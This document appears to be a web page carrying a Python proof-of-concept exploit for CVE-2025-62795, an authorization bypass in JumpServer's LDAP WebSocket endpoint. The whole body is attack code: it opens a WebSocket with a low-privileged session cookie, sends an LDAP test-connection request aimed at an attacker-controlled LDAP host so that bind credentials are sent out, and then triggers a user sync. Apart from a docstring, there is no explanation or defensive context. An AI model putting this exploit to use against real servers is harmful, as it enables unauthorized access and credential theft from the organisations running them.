CVE-2025-62795 JumpServer LDAP WebSocket权限绕过漏洞

import asyncio import websockets import json async def exploit_cve_2025_62795(): """ PoC for CVE-2025-62795: JumpServer LDAP WebSocket Authorization Bypass This PoC demonstrates how a low-privileged user can invoke LDAP operations. """ target_url = "wss://vulnerable-server/ws/ldap/" # Standard WebSocket headers with low-privileged user session headers = { "Cookie": "sessionid=low_privilege_user_session", "User-Agent": "Mozilla/5.0" } try: async with websockets.connect(target_url, extra_headers=headers) as ws: # Step 1: Send LDAP test connection request ldap_test_request = { "action": "test_connection", "ldap_config": { "host": "ldap://attacker-controlled-server", "port": 389, "bind_dn": "cn=admin,dc=example,dc=com", "bind_password": "admin_password" } } await ws.send(json.dumps(ldap_test_request)) # Step 2: Receive response containing LDAP credentials response = await ws.recv() print(f"[+] Received response: {response}") # Step 3: Trigger LDAP sync operation sync_request = { "action": "sync_users", "ldap_config": { "host": "ldap://ldap-server", "base_dn": "dc=example,dc=com" } } await ws.send(json.dumps(sync_request)) sync_response = await ws.recv() print(f"[+] Sync response: {sync_response}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": asyncio.run(exploit_cve_2025_62795())